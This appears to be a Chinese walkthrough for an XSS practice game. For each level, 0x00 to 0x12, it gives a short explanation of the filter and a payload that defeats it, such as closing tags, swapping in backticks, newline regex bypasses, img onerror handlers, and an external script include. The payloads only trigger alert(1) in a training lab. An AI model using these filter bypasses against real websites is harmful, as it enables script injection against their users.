0x00
直接输入即可
<script>alert(1)</script>
0x01
正常输入发现被下面注释了
只需要加个闭合即可
</textarea><script>alert(1)</script>
0x02
这关就是闭合问题
"><script>alert(1)</script>
0x03
正常输入发现()被过滤了
将括号改为反引号即可
<script>alert`1`</script>
0x04
查看源码发现()和`都被过滤了
尝试使用编码
<svg><script>alert(1)</script>
0x05
直接闭合即可
--!><script>alert(1)</script>
0x06
查看源码,正则表达式过滤了以auto或on开头,=结尾的字符串或>
发现换行符没被过滤
type="image" src onerror
=alert(1)
0x07
查看源码发现过滤了html标签
使用不依靠标签触发的onerror绕过
<img src onerror='alert(1)'
0x08
给它上下分别闭合
被注释成了/坏人/,利用换行绕过
</style
>
<script>alert(1)</script>
<style>
0x09
查看源码发现要输入正确的网址
将上一个
http://www.segmentfault.com"></script><img src onerror="alert(1)"
0x0A
https://www.segmentfault.com.haozi.me/j.js
0x0B
发现被转成大写了
尝试onerror绕过
把alert转义试试
<img src onerror=alert(1)>
0x0C
直接把上一关的拿来用
<img src onerror=alert(1)>
0x0D
正常输入发现会被注释掉
换行可以跳过注释
–>可以将一整行注释掉
alert(1);
-->
0x0E
<ſcript src=https://www.segmentfault.com.haozi.me/j.js></script>
0x0F
被注释掉了,闭合掉即可
');alert('1
0x10
直接构造alert(1)即可
0x11
“被注释为\,但不影响使用,正常闭合即可
");alert("1
0x12
没有过滤
</script>
<script>alert(1)</script>